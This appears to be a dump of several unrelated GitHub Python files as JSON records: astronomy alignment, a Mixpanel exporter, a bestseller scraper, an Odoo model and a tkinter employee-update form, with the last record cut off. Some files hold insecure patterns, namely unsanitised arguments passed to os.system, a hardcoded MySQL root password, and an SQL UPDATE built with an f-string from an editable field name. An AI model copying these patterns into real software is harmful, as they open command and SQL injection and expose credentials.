candidateangle = brightcandidate.trigangle(faintcandidate)\n# rotcandangle = (starangle - candidateangle) % 360.0 # value to \"add\" to cand to match the star\n#\n# We apply this rotation to the bright candidate, to determine the shift :\n# testcand = copy.deepcopy(brightcandidate)\n# testcand.rotate(rotcandangle, (0, 0))\n# candshift = testcand.findshift(brightstar)\n#\n# We apply the rotation and this shift to the full zoomed autostarlist :\n# testcandlist = copy.deepcopy(autostarscopy)\n# rotatestarlist(testcandlist, rotcandangle, (0, 0))\n# shiftstarlist(testcandlist, candshift)\n#\n# We evaluate the match between the transformed autostars and the ref stars :\n#\n# pairsdict = formpairs(preciserefmanstars, testcandlist, tolerance = tolerance, onlysingle = True, verbose = False)\n# nbrids = len(pairsdict[\"idlist1\"])\n# indentlist.append(nbrids)\n#\n# if nbrids >= minnbrstars:\n# We got it !\n#\n# if verbose :\n# print \"Number of tries : %i\" % n\n# print \"Distance difference : %.2f pixels\" % math.fabs(candidatedistance - stardistance)\n# print \"Candidate rotation angle : %.2f degrees\" % rotcandangle\n#\n# print \"Star pairs used :\"\n# print brightstar\n# print faintstar\n# print brightcandidate\n# print faintcandidate\n#\n# print \"Identified stars : %i / %i\" % (nbrids, len(preciserefmanstars) )\n#\n# return {\"nbrids\":nbrids, \"angle\":rotcandangle, \"shift\":candshift}\n#\n#\n# if verbose :\n# print \"I'm a superhero, but I failed\"\n# if len(indentlist) > 0:\n# if verbose :\n# print \"Maximum identified stars : %i\" % max(indentlist)\n#\n# return {\"nbrids\":-1, \"angle\":0.0, \"shift\":(0.0, 0.0)}\n#\n#\n#\n# def writeforgeomap(filename, pairs):\n# \"\"\"\n# Writes an input catalog of corresponding star pairs, for geomap\n# Pair is a list of couples like (refstar, startoalign)\n# \"\"\"\n#\n#\n# import csv\n#\n# table = []\n# for pair in pairs:\n# table.append([pair[0].x, pair[0].y, pair[1].x, pair[1].y])\n#\n# geomap = open(filename, \"wb\") # b needed for csv\n# writer = csv.writer(geomap, delimiter=\"\\t\")\n# writer.writerows(table)\n# geomap.close()\n#\n","repo_name":"japs/alipy","sub_path":"alipy/star.py","file_name":"star.py","file_ext":"py","file_size_in_byte":29091,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"78"} +{"seq_id":"16867313422","text":"#! /usr/bin/env python\n#\n# Export Mixpanel funnel start and completion data to CSV\n# Author: Dexter Zhuang\n\nimport time\nimport csv\nfrom client import Mixpanel\ntry:\n import json\nexcept ImportError:\n import simplejson as json\n \n# connect with the API through client library with API key \n\napi = Mixpanel(\n\tapi_key = 'XXXXXXXXXXXXXXXXXXXXXX', \n\tapi_secret = 'XXXXXXXXXXXXXXXXXXXXXX'\n)\n\n# open csv file\nf = csv.writer(open(\"mixpanel_funnels.csv\", \"wb+\"))\n\n# specify funnel parameters\ntoday = time.strftime(\"%Y%m%d\")\nfrom_date = '2014-08-01'\nto_date = '2014-08-31'\nfunnel_length = 1\nfunnel_interval = 1\n\n# request the funnel data\n# params: funnel ID, start date, end date, time window in days for completing the funnel, intervals in days, boolean for adding the date in the output)\n# return: list of lists of funnel data\ndef funnel_request(funnel_id, start_date, end_date, length, interval, add_date=True):\n \n funnel_output = []\n \n data = api.request(['funnels'], {\n \t'funnel_id': funnel_id,\n \t'from_date' : start_date,\n \t'to_date' : end_date,\n 'length' : length,\n \t'interval' : interval\n \t})\n \n data = json.loads(data)\n \n if add_date:\n for date in data['data']:\n data_row = [date, data['data'][date]['analysis']['starting_amount'], data['data'][date]['analysis']['completion']]\n funnel_output.append(data_row)\n else:\n for date in data['data']:\n data_row = [data['data'][date]['analysis']['starting_amount'], data['data'][date]['analysis']['completion']]\n funnel_output.append(data_row)\n \n return funnel_output\n\nif __name__ == '__main__':\n\n total_output = []\n \n # request funnel 1 data\n funnel_one = funnel_request(111111, from_date, to_date, funnel_length, funnel_interval)\n total_output = [list(x) for x in zip(*funnel_one)]\n \n # request funnel 2 data\n funnel_two = funnel_request(222222, from_date, to_date, funnel_length, funnel_interval)\n for col in ([list(x) for x in zip(*funnel_two)]):\n total_output.append(col)\n\n # reformat funnel output into transposed view\n final_output = [list(x) for x in zip(*total_output)]\n \n # create headers\n header = [\"Date\", \"Funnel 1 Var 1\", \"Funnel 1 Var 2\", \n \"Date\", \"Funnel 2 Var 1\", \"Funnel 2 Var 2\",\n ]\n \n # write headers to csv\n f.writerow(header)\n \n # write reformmated output into csv\n f.writerows(final_output)\n","repo_name":"dexteryz/mixpanel_funnel_export","sub_path":"funnels_csv.py","file_name":"funnels_csv.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34641711694","text":"frase = str(input('Digite algo: ')).strip().upper()\npalavras = frase.split()\njunto = ''.join(palavras)\ninverso = junto[::-1]\nif inverso == junto:\n print('O inverso de {} é {}.'.format(junto, inverso))\n print('É um palíndromo!')\nelse:\n print('O inverso de {} é {}.'.format(junto, inverso))\n print('Não é um palíndromo')\n","repo_name":"danieloliv1/curso-python-exercicios","sub_path":"exercicios-python/ex 053b.py","file_name":"ex 053b.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38080677764","text":"# Arda Mavi\n\nimport os\nimport sys\nimport tensorflow as tf\nfrom keras import backend as K\nfrom keras.models import model_from_json\n\ndef get_keras_model(model_path, weights_path):\n # Reading model file:\n with open(model_path, 'r') as model_file:\n model = model_file.read()\n\n # Readed model file to model:\n model = model_from_json(model)\n\n # Loading weights:\n model.load_weights(weights_path)\n\n print('Model Summary:')\n print(model.summary())\n\n return model\n\ndef keras_to_tf(tf_model_path):\n saver = tf.train.Saver()\n with K.get_session() as sess:\n K.set_learning_phase(0)\n saver.save(sess, tf_model_path)\n return True\n\ndef tf_to_graph(tf_model_path, model_in, model_out, graph_path):\n os.system('mvNCCompile {0}.meta -in {1} -on {2} -o {3}'.format(tf_model_path, model_in, model_out, graph_path))\n return True\n\ndef keras_to_graph(model_path, model_in, model_out, weights_path, graph_path, take_tf_files = False):\n # Getting Keras Model:\n keras_model = get_keras_model(model_path, weights_path)\n\n # Saving TensorFlow Model from Keras Model:\n tf_model_path = './TF_Model/tf_model'\n keras_to_tf(tf_model_path)\n\n tf_to_graph(tf_model_path, model_in, model_out, graph_path)\n\n if take_tf_files == False:\n os.system('rm -rf ./TF_Model')\n\nif __name__ == '__main__':\n try:\n model_path = sys.argv[1]\n model_in = sys.argv[2]\n model_out = sys.argv[3]\n weights_path = sys.argv[4]\n graph_path = sys.argv[5]\n except:\n print('Run with arguments !\\nArguments:\\nmodel_path model_in model_out weights_path graph_path')\n exit()\n\n keras_to_graph(model_path, model_in, model_out, weights_path, graph_path, False)\n","repo_name":"ardamavi/Intel-Movidius-NCS-Keras","sub_path":"keras2graph.py","file_name":"keras2graph.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"78"} +{"seq_id":"5430264702","text":"\n\nfile_path = '../text_folder/alice.txt'\n\n\ndef count_number_of_words(path):\n\n file_path = f'../text_folder/{path}'\n try:\n with open(file_path) as file_object:\n content = file_object.read()\n except FileNotFoundError:\n message = f'\\nfile name {file_path} does not exist'\n print(message)\n\n else:\n words = content.split()\n count_words = len(words)\n print(f'\\n text from file {file_path} contain {count_words} number of words')\n\n\nlist_of_files = ['alice.txt', 'hello_its_me.txt','we_dont_have','learning_python.txt' ]\n\nfor file in list_of_files:\n count_number_of_words(file)\n\n","repo_name":"Andrzej-007/SoloLern","sub_path":"files_exceptions/alice.py","file_name":"alice.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17404643612","text":"import OpenGL.GL as GL\nimport OpenGL.GLU as GLU\nfrom OpenGL.arrays import vbo as VBO\nimport glfw\n\nfrom .utils import init_work, event_loop, end_work, get_shader\n\n\nSCR_WIDTH = 800\nSCR_HEIGHT = 600\n\ndef main():\n window = init_work(SCR_WIDTH, SCR_HEIGHT, \"LearnOpenGL\")\n\n shader = get_shader(\"shaders/vertex_shader.vs\", \"shaders/fragment_shader.fs\")\n\n def render():\n GL.glClearColor(0.2, 0.3, 0.3, 1.0)\n GL.glClear(GL.GL_COLOR_BUFFER_BIT)\n\n def process_input(window):\n if glfw.get_key(window, glfw.KEY_ESCAPE) == glfw.PRESS:\n glfw.set_window_should_close(window, True)\n\n event_loop(window, render, process_input)\n\n end_work()\n\nif __name__ == \"__main__\":\n main()","repo_name":"logres/MyPyOpenGL","sub_path":"WorkPlace/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6175666457","text":"# © 2022 - today Numigi (tm) and all its contributors (https://bit.ly/numigiens)\n# License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl).\n\nfrom odoo import fields, models, api, _\nfrom odoo.exceptions import ValidationError\n\n\nclass ProductTemplate(models.Model):\n\n _inherit = \"product.template\"\n\n service_tracking = fields.Selection(\n selection_add=[\n (\"milestone_existing_project\", \"Create milestone in existing project\"),\n (\"milestone_new_project\", \"Create milestone in new project\"),\n ]\n )\n milestone_template_id = fields.Many2one(\n \"project.milestone\",\n string=\"Milestone Template\",\n company_dependent=True,\n copy=True,\n )\n\n @api.onchange(\"service_tracking\")\n def _onchange_service_tracking(self):\n res = super()._onchange_service_tracking()\n\n if self.service_tracking == \"milestone_existing_project\":\n self.project_template_id = False\n self.milestone_template_id = False\n\n elif self.service_tracking == \"milestone_new_project\":\n self.project_id = False\n\n else:\n self.milestone_template_id = False\n\n return res\n","repo_name":"Numigi/odoo-sale-addons","sub_path":"sale_project_milestone/models/product_template.py","file_name":"product_template.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"15437914673","text":"import re, pprint, requests, openpyxl, os\nos.chdir(r\"C:\\Users\\Jhube\\PycharmProjects\\pythonProject\")\n\n\n# Bookmark = Buecherat\n# Number = Spiegelde\n# Buchstabe = Schwarzer\n\n#ALL VARIABLES USED IN BUECHERAT ; NAMESSACH AND BELL 2 MAL WEIL: SEE STRING SYNTAX BOOKMARK\n\nBuecheratrankBell = []\nBuecheratnamesBell = []\nBuecheratnamesBell2 = []\nBuecherattitleBell = []\nBuecheratrankSach = []\nBuecheratnamesSach = []\nBuecheratnamesSach2 = []\nBuecherattitleSach = []\n\n\n#ALL VARIABLES USED IN SPIEGELDE\nSpiegelnamesSach = []\nSpiegeltitleSach = []\nSpiegelrankSach = []\n\nSpiegelnamesBell = []\nSpiegeltitleBell = []\nSpiegelrankBell = []\n\n\n#ALL VARIABLES USED IN SCHWARZER\n\nSchwarzerrank = [] #GENEREL NAMES USED IN RE - UNSORTED\nSchwarzernames = []\nSchwarzertitle = []\nSchwarzernames2 = [] # NameList after string formatiing to vorname, nachname\n\n\nSchwarzerrankBell = [] #VARIABLES AFTER SORTED INTO BELL AND SACH / STRING FORMATTING\nSchwarzernamesBell = []\nSchwarzertitleBell = []\n\nSchwarzerrankSach = []\nSchwarzernamesSach = []\nSchwarzertitleSach = []\n\n\n#REGULAR EXPRESSION FOR BUECHART\nbuecheratRE= re.compile(r\"\"\"\n(\\d+?)\\. #Zahl\n(\\s\\S+\\)\\s?)? # neu alte Zahl...\n(.+) #Vorname und Nachname\n(:\\s?)\n(.+) #Buchtitel\n()\n\"\"\", re.VERBOSE) #REbuecherat\n\n\n #REGULAR EXPRESSION FOR SPIELGEL.DE\nSpiegeltitlere= re.compile(r\"\"\" \n(\\s)\n(.+) # title\n(\\s)\n\"\"\", re.VERBOSE)\n\n\nSpiegelnamesre= re.compile(r\"\"\"\n(items-center\">\\s\\s

    )\n(.+) #names\n(

    \\s)\n\"\"\", re.VERBOSE)\n\n\n#REGULAR EXPRESSION FOR SCHWARZER\nschwarzerre= re.compile(r\"\"\" # schwarzer titel + autor 3 kategorien rank 1 - 3\n(\\srel=\"noopener\\snoreferrer\">)\n(.+)\n(:\\s) \n(.+)\n(.*()?()?)\n(.+)\n(:\\s)\n(.+)\n(()?)\n\n\"\"\", re.VERBOSE)\n\n\n#FUNKTION FÜR BUECHERAT BELL - GET AND APPEND\ndef buecherBell(URL):\n BuecheratnamesBell.clear()\n buecherat = requests.get(URL)\n\n m = buecheratRE.findall(buecherat.text)\n\n for tupl in m: #m = m.group()\n if \"–\" in tupl[4]:\n tuplx = tupl[4].replace(\"–\", \"-\")\n BuecheratrankBell.append(int(tupl[0]))\n BuecheratnamesBell.append(tupl[2])\n BuecherattitleBell.append(tuplx)\n else:\n BuecheratrankBell.append(int(tupl[0]))\n BuecheratnamesBell.append(tupl[2])\n BuecherattitleBell.append(tupl[4])\n continue\n\n # STRING SYNTAX FÜR BUECHERAT BELL - TAKES NAMES AND FLIPPS THEM WITH \",\", WORK ON MORE NAMES AND SINGLE NAMES \"UBUNTU\"\n for name in BuecheratnamesBell:\n name = name.split(\",\")\n\n s = \"\"\n for valuea in name:\n valuea = valuea.lstrip()\n f = valuea.split()\n if \" \" not in valuea:\n s = s + str(f[-1] + \"; \")\n else:\n s = s + str(f[-1] + \", \" + \" \".join(f[0:-1]) + \"; \")\n\n s = s[0:-2]\n BuecheratnamesBell2.append(s)\n\n\n#FUNKTION FÜR BUECHERAT SACH - GET AND APPEND\ndef buecherSach(URL):\n BuecheratnamesSach.clear()\n buecherat = requests.get(URL)\n\n m = buecheratRE.findall(buecherat.text)\n\n for tupl in m: #m = m.group()\n #check if \"–\" - weird stuff in the title - if yes - replace it with \"-\"\n if \"–\" in str(tupl[4]):\n tuplx = tupl[4].replace(\"–\", \"-\")\n\n BuecheratnamesSach.append(tupl[2])\n BuecheratrankSach.append(int(tupl[0]))\n BuecherattitleSach.append(tuplx)\n else:\n BuecheratnamesSach.append(tupl[2])\n BuecheratrankSach.append(int(tupl[0]))\n BuecherattitleSach.append(tupl[4])\n continue\n\n\n # STRING SYNTAX FÜR BUECHERAT SACH - TAKES NAMES AND FLIPPS THEM WITH \",\", WORK ON MORE NAMES AND SINGLE NAMES \"UBUNTU\"\n for name in BuecheratnamesSach: # formatting names syntax\n name = name.split(\",\")\n\n s = \"\"\n for valuea in name:\n valuea = valuea.lstrip()\n f = valuea.split()\n if \" \" not in valuea:\n s = s + str(f[-1] + \"; \")\n else:\n s = s + str(f[-1] + \", \" + \" \".join(f[0:-1]) + \"; \")\n\n s = s[0:-2]\n BuecheratnamesSach2.append(s)\n\n\n\n\n#FUNKTION FÜR SPIEGEL:DE - GET AND APPEND ************* RANK JUST APPEND NUMBERS FROM 1-10, gets 10 names/titles anyway\ndef SpiegelSach(URL): # Spiegel def\n Spiegelde = requests.get(URL)\n\n n = Spiegelnamesre.findall(Spiegelde.text)\n print(n)\n for tupl in n[0:10]: # m = m.group()\n SpiegelnamesSach.append(tupl[1])\n\n t = Spiegeltitlere.findall(Spiegelde.text)\n for tupl in t[0:10]: # m = m.group()\n SpiegeltitleSach.append(tupl[1])\n\n for i in range(1,11):\n SpiegelrankSach.append(i)\n\n#FUNKTION FÜR SPIEGEL:DE - GET AND APPEND********* RANK JUST APPEND NUMBERS FROM 1-10, gets 10 names/titles anyway\ndef SpiegelBell(URL): # Spiegel def\n Spiegelde = requests.get(URL)\n\n n = Spiegelnamesre.findall(Spiegelde.text)\n print(n)\n for tupl in n[0:10]: # m = m.group()\n SpiegelnamesBell.append(tupl[1])\n\n t = Spiegeltitlere.findall(Spiegelde.text)\n for tupl in t[0:10]: # m = m.group()\n SpiegeltitleBell.append(tupl[1])\n\n for i in range(1,11):\n SpiegelrankBell.append(i)\n\n\n\n#FUNKTION FÜR SPIEGEL:DE - GET AND APPEND ************* RANK JUST APPEND NUMBERS FROM 1-10, gets 10 names/titles anyway\n\ndef schwarzer(URL): #FIND AND APPEND / TITLE / NAME / RANK TO LIST\n buecherat = requests.get(URL)\n\n m = schwarzerre.findall(buecherat.text) # RE GET rank 1-3\n for tupl in m[0:9]: #m = m.group()\n if \"\" in tupl[3]:\n tuplx = tupl[3].replace(\"\", \"\") #CHECK TITLE FOR WEIRD SYNTAX AND REMOVES\n Schwarzernames.append(tupl[1])\n Schwarzertitle.append(tuplx)\n else:\n Schwarzernames.append(tupl[1])\n Schwarzertitle.append(tupl[3])\n continue\n\n for i in range(3):\n for i in range(1,4):\n Schwarzerrank.append(i)\n\n m = schwarzerre2.findall(buecherat.text) #rank 4-10\n for tupl in m[0:21]: # m = m.group()\n if \"\" in tupl[5]:\n tuplx = tupl[5].replace(\"\", \"\") #CHECK TITLE FOR WEIRD SYNTAX AND REMOVES\n Schwarzernames.append(tupl[3])\n Schwarzertitle.append(tuplx)\n else:\n Schwarzernames.append(tupl[3])\n Schwarzertitle.append(tupl[5])\n continue\n for i in range(7):\n for i in range(4,11):\n Schwarzerrank.append(i)\n\n\n\n # STRING SYNTAX FÜR SCHWARZER BELL + SACH - TAKES NAMES AND FLIPPS THEM WITH \",\", WORK ON MORE NAMES AND SINGLE NAMES \"UBUNTU\"\n for name in Schwarzernames:\n name = name.split(\",\")\n\n s = \"\"\n for valuea in name:\n valuea = valuea.lstrip()\n f = valuea.split()\n if \" \" not in valuea:\n s = s + str(f[-1] + \"; \")\n else:\n s = s + str(f[-1] + \", \" + \" \".join(f[0:-1]) + \"; \")\n\n s = s[0:-2]\n Schwarzernames2.append(s)\n\n\n\n\n\n#******************************************BUECHERATLINKS***************************************************************\nbuecherBell(\"https://www.buecher.at/bestseller-belletristik/\")\nbuecherSach(\"https://www.buecher.at/bestseller-sachbuch/\")\nbuecherSach(\"https://www.buecher.at/bestseller-ratgeber/\")\nbuecherBell(\"https://www.buecher.at/bestseller-belletristik-tb/\")\nbuecherSach(\"https://www.buecher.at/bestseller-sachbuch-tb/\")\n\n\n\n#******************************************SPIEGELLINKS***************************************************************\nSpiegelSach(\"https://www.spiegel.de/kultur/literatur/spiegel-bestseller-hardcover-a-1025428.html\")\nSpiegelSach(\"https://www.spiegel.de/kultur/literatur/bestseller-paperback-sachbuch-a-dd0efe3f-eaf1-47f7-b5a4-f5cdf0a6da3a\")\nSpiegelSach(\"https://www.spiegel.de/kultur/literatur/bestseller-taschenbuch-sachbuch-a-4ce7bbd7-b8a5-41f6-ba72-f1e95cd06fe3\")\nSpiegelSach(\"https://www.spiegel.de/kultur/literatur/spiegel-bestseller-ratgeber-leben-gesundheit-essen-trinken-a-1253537.html\")\nSpiegelSach(\"https://www.spiegel.de/kultur/literatur/bestseller-ratgeber-essen-trinken-a-64e8b7ac-612b-406b-8654-93ac329560ba\")\nSpiegelSach(\"https://www.spiegel.de/kultur/literatur/spiegel-bestseller-ratgeber-natur-garten-hobby-kreativitaet-a-1253538.html\")\nSpiegelSach(\"https://www.spiegel.de/kultur/literatur/bestseller-ratgeber-hobby-kreativitaet-a-b6b7aebf-8dd0-47b9-8d49-ad8c502092a4\")\n\n\nSpiegelBell(\"https://www.spiegel.de/kultur/bestseller-buecher-belletristik-sachbuch-auf-spiegel-liste-a-458623.html\")\nSpiegelBell(\"https://www.spiegel.de/kultur/literatur/spiegel-bestseller-paperback-a-1025444.html\")\nSpiegelBell(\"https://www.spiegel.de/kultur/literatur/spiegel-bestseller-taschenbuecher-a-1025518.html\")\n\n#******************************************SCHWARZERLINK***************************************************************\nschwarzer(\"https://www.schwarzer.at/bestseller/\")\n\n\n\n\n# SORT Sach adn Bell into INTO BELL - LIST TILL NOW GOES 123,123,123,45678910.... now it goes 12345678910 NICE!\nSchwarzernamesBell.append(Schwarzernames2[0:3] + Schwarzernames2[9:16] + Schwarzernames2[6:9] + Schwarzernames2[23:30])\nSchwarzertitleBell.append(Schwarzertitle[0:3] + Schwarzertitle[9:16] + Schwarzertitle[6:9] + Schwarzertitle[23:30])\nSchwarzerrankBell.append(Schwarzerrank[0:3] + Schwarzerrank[9:16] + Schwarzerrank[6:9] + Schwarzerrank[23:30])\n\n#append list to list makes list of lists - so just take the 0 element for correct list not lists of list of list of list\nSchwarzernamesBell = SchwarzernamesBell[0]\nSchwarzertitleBell = SchwarzertitleBell[0]\nSchwarzerrankBell = SchwarzerrankBell[0]\n\n# SORT Sach adn Bell into INTO SACH - LIST TILL NOW GOES 123,123,123,45678910.... now it goes 12345678910 NICE!\nSchwarzernamesSach.append(Schwarzernames2[3:6] + Schwarzernames2[16:23])\nSchwarzertitleSach.append(Schwarzertitle[3:6] + Schwarzertitle[16:23])\nSchwarzerrankSach.append(Schwarzerrank[3:6] + Schwarzerrank[16:23])\n# append list to list makes list of lists - so just take the 0 element for correct list not lists of list of list of list\nSchwarzernamesSach = SchwarzernamesSach[0]\nSchwarzertitleSach = SchwarzertitleSach[0]\nSchwarzerrankSach = SchwarzerrankSach[0]\n\n\n\n\n\n\n#**********************************LOAD EXCEL DATEI AND DEFINE SHEET******************************************************\nworkbook = openpyxl.load_workbook(\"Bestsellerxxx.xlsx\")\nsheetBell = workbook[\"Bell\"]\nsheetSach = workbook[\"Sach\"]\nprint(workbook.sheetnames)\n\n\n\n\n#+++++++++++++++++++++++++++++++++++++++++++BUECHERAT APPEND IN EXCEL+++++++++++++++++++++++++++++++++++++++++++++++++++\npprint.pprint(BuecheratnamesBell2)\npprint.pprint(BuecheratnamesSach2)\n\n# BUECHERAT APPEND TO EXCEL BELL\nfor i in range(1,21):\n\n for x in range(1, 201):\n if sheetBell.cell(row=x, column=2).value == BuecherattitleBell[int(i) - 1]:\n sheetBell.cell(row=x, column=3).value = BuecheratrankBell[int(i) - 1]\n break\n\n elif sheetBell.cell(row=x, column=2).value == None:\n sheetBell.cell(row=x, column=1).value = BuecheratnamesBell2[int(i) - 1]\n sheetBell.cell(row=x, column=2).value = BuecherattitleBell[int(i) - 1]\n sheetBell.cell(row=x, column=3).value = BuecheratrankBell[int(i) - 1]\n\n break\n\n\n# BUECHERAT APPEND TO EXCEL SACH\nfor i in range(1,31):\n\n for x in range(1, 201):\n if sheetSach.cell(row=x, column=2).value == BuecherattitleSach[int(i) - 1]:\n sheetSach.cell(row=x, column=3).value = BuecheratrankSach[int(i) - 1]\n break\n\n elif sheetSach.cell(row=x, column=2).value == None:\n sheetSach.cell(row=x, column=1).value = BuecheratnamesSach2[int(i) - 1]\n sheetSach.cell(row=x, column=2).value = BuecherattitleSach[int(i) - 1]\n sheetSach.cell(row=x, column=3).value = BuecheratrankSach[int(i) - 1]\n\n break\n\n\n\n\n## ++++++++++++++++++++++++++++++++++++++++SPIEGELDE APPEND IN EXCEL++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n# SPIEGEL ADD TO EXCEL Sach\nfor i in range(1,71):\n\n for x in range(1, 201):\n if sheetSach.cell(row=x, column=2).value == SpiegeltitleSach[int(i) - 1]:\n sheetSach.cell(row=x, column=4).value = SpiegelrankSach[int(i) - 1]\n break\n\n elif sheetSach.cell(row=x, column=2).value == None:\n sheetSach.cell(row=x, column=1).value = SpiegelnamesSach[int(i) - 1]\n sheetSach.cell(row=x, column=2).value = SpiegeltitleSach[int(i) - 1]\n sheetSach.cell(row=x, column=4).value = SpiegelrankSach[int(i) - 1]\n\n break\n\n\n# SPIEGEL ADD TO EXCEL BELL\nfor i in range(1,31):\n\n for x in range(1, 201):\n if sheetBell.cell(row=x, column=2).value == SpiegeltitleBell[int(i) - 1]:\n sheetBell.cell(row=x, column=4).value = SpiegelrankBell[int(i) - 1]\n break\n\n elif sheetBell.cell(row=x, column=2).value == None:\n sheetBell.cell(row=x, column=1).value = SpiegelnamesBell[int(i) - 1]\n sheetBell.cell(row=x, column=2).value = SpiegeltitleBell[int(i) - 1]\n sheetBell.cell(row=x, column=4).value = SpiegelrankBell[int(i) - 1]\n\n break\n\n\n\n\n\n\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++SCHWARZER EXCEL++++++++++++++++++++++++++++++++++++++++++++++++\n\n#ITERATE THROUGH SHEET BELL CHECK IF TITLE ALLREADY EXISTS IN COL 2 - IF YES ONLY CHANGE RANK - IF NOT GO ON TILL NONE IN COLUMN X AND ADD TITLE NAME AND RANK\nfor i in range(1,21):\n for x in range(1, 201):\n if sheetBell.cell(row=x, column=2).value == SchwarzertitleBell[int(i) - 1]:\n\n sheetBell.cell(row=x, column=5).value = SchwarzerrankBell[int(i) - 1]\n break\n elif sheetBell.cell(row=x, column=2).value == None:\n sheetBell.cell(row=x, column=1).value = SchwarzernamesBell[int(i) - 1]\n sheetBell.cell(row=x, column=2).value = SchwarzertitleBell[int(i) - 1]\n sheetBell.cell(row=x, column=5).value = SchwarzerrankBell[int(i) - 1]\n\n break\n\n\n#ITERATE THROUGH SHEET SACH CHECK IF TITLE ALLREADY EXISTS IN COL 2 - IF YES ONLY CHANGE RANK - IF NOT GO ON TILL NONE IN COLUMN X AND ADD TITLE NAME AND RANK\nfor i in range(1,11):\n for x in range(1, 201):\n if sheetSach.cell(row=x, column=2).value == SchwarzertitleSach[int(i) - 1]:\n sheetSach.cell(row=x, column=5).value = SchwarzerrankSach[int(i) - 1]\n break\n elif sheetSach.cell(row=x, column=2).value == None:\n sheetSach.cell(row=x, column=1).value = SchwarzernamesSach[int(i) - 1]\n sheetSach.cell(row=x, column=2).value = SchwarzertitleSach[int(i) - 1]\n sheetSach.cell(row=x, column=5).value = SchwarzerrankSach[int(i) - 1]\n\n break\n\n\n\n\n\n\n\n#+++++++++++++++++++++++++++++++++++++++++++++++END OF PROGRAMM SAVE WORKBOOK******************************************\nworkbook.save(\"Bestsellerxxx.xlsx\")\n\n\nprint(\"u did it\")\n","repo_name":"micaah42/bestsellers","sub_path":"Bestseller/Bestseller.py","file_name":"Bestseller.py","file_ext":"py","file_size_in_byte":15909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41550158998","text":"#This code now updates the employee information............\r\nfrom tkinter import * \r\nfrom tkinter import messagebox\r\nfrom PIL import Image, ImageTk\r\nimport mysql.connector\r\nimport subprocess\r\nfrom tkinter.ttk import Combobox\r\n\r\ncon = mysql.connector.connect(\r\n host = \"localhost\",\r\n username = \"root\",\r\n password = \"Office@1000.\",\r\n database = \"goldskydb\" \r\n)\r\n\r\ncursor = con.cursor()\r\n\r\ndef Updating_Employee():\r\n employee_id = Emp_Id.get()\r\n field = field_lbl.get()\r\n new_value = Val_Entry.get()\r\n\r\n query = f\"UPDATE employees SET {field} = %s WHERE Employee_Id = %s\"\r\n values = (new_value, employee_id)\r\n cursor.execute(query,values)\r\n con.commit()\r\n\r\n result_lbl.config(text=\"Employee Information Updated Successfully\")\r\n\r\n\r\n#this code creates a new window\r\nwindow = Tk()\r\nwindow.title(\"EMPLOYEE MANAGEMENT SYSTEM\")\r\nwindow.geometry('1046x588')\r\nwindow.config(bg=\"#06283D\")\r\nimg = PhotoImage(file= \"Empy4.png\")\r\nwindow.iconphoto(True,img)\r\n\r\n#code for employee pic\r\nnew1 = Image.open(\"PIC9-removebg-preview.png\")\r\nnew2 = new1.resize((170,140))\r\nnew3 = ImageTk.PhotoImage(new2)\r\nnew_label = Label(window, image= new3, bg=\"#06283D\")\r\nnew_label.place(x=10, y=3)\r\n\r\n# #label for heading\r\n# Update_label = Label(window, text= \"Updating Employee Information\", font= (\"Rockwell Condensed\",38), bg=\"#06283D\", fg=\"gold\")\r\n# Update_label.place(x=210, y=25)\r\n\r\n#label for results\r\nresult_lbl = Label(window, text=\"\", font=(\"Arial(Body)\", 18), fg= \"gold\", bg=\"#06283D\")\r\nresult_lbl.place(x=200, y=170)\r\n\r\n\r\n#label for frame\r\nnew_frame = LabelFrame(window, bg=\"gold\", relief=\"groove\", width= 700, height= 470)\r\nnew_frame.place(x=200, y=200)\r\n\r\n#label for instruction\r\nInst = Label(new_frame, bg=\"gold\", font=(\"Calibri Light (Headings)\", 14), fg=\"black\", text=\"Kindly fill out fields to update employee info\").place(x=40, y=10)\r\n\r\n#Label and entry box\r\nA_label = Label(new_frame, text= \"Employee ID\", font=(\"Arial Narrow\", 14), fg= \"black\", bg=\"gold\").place(x=50, y=130)\r\nEmp_Id = Entry(new_frame, width= 40, font=(\"Times New Roman\", 13), fg=\"black\", bg=\"white\")\r\nEmp_Id.place(x=200, y=125)\r\n\r\n#combobox for the department \r\nlbl = Label(new_frame, text=\"Update Field\", font=(\"Arial Narrow\",14), fg=\"black\", bg=\"gold\").place(x=50, y=200)\r\nfield_lbl = Combobox(new_frame, values= [\"Full_Name\", \"Gender\", \"Birth_Date\", \"Department\", \"Employee_Id\", \"Employee_Rate\", \"Hire_Date\", \"Working_Hours\", \"Employee_Status\", \"Contact_Number\", \"Email\", \"House_Address\"], font=(\"Arial\", 10), width=40, height=6)\r\nfield_lbl.set(\"select field\")\r\nfield_lbl.place(x=200, y=200)\r\n\r\n#Label and entry box\r\nVal_label = Label(new_frame, text= \"New Value\", font=(\"Arial Narrow\", 14), fg= \"black\", bg=\"gold\").place(x=50,y=290)\r\nVal_Entry = Entry(new_frame, width= 40, font=(\"Times New Roman\", 14), fg=\"black\", bg=\"white\")\r\nVal_Entry.place(x=200, y=285)\r\n\r\n\r\n#a button that updates employee info\r\nSave_Button = Button(window, text= \"UPDATE\", font=(\"Times New Roman\", 14), bd= 5, relief=\"groove\", fg=\"black\", bg=\"green\", command=Updating_Employee)\r\nSave_Button.place(x=1000, y=620)\r\n\r\ndef Clearing_Entries():\r\n Emp_Id.delete(1.0, END)\r\n field_lbl.set(\"Select Field\")\r\n Val_Entry.delete(1.0, END)\r\n\r\n \r\n#button to clear all employee info\r\nClear_Button = 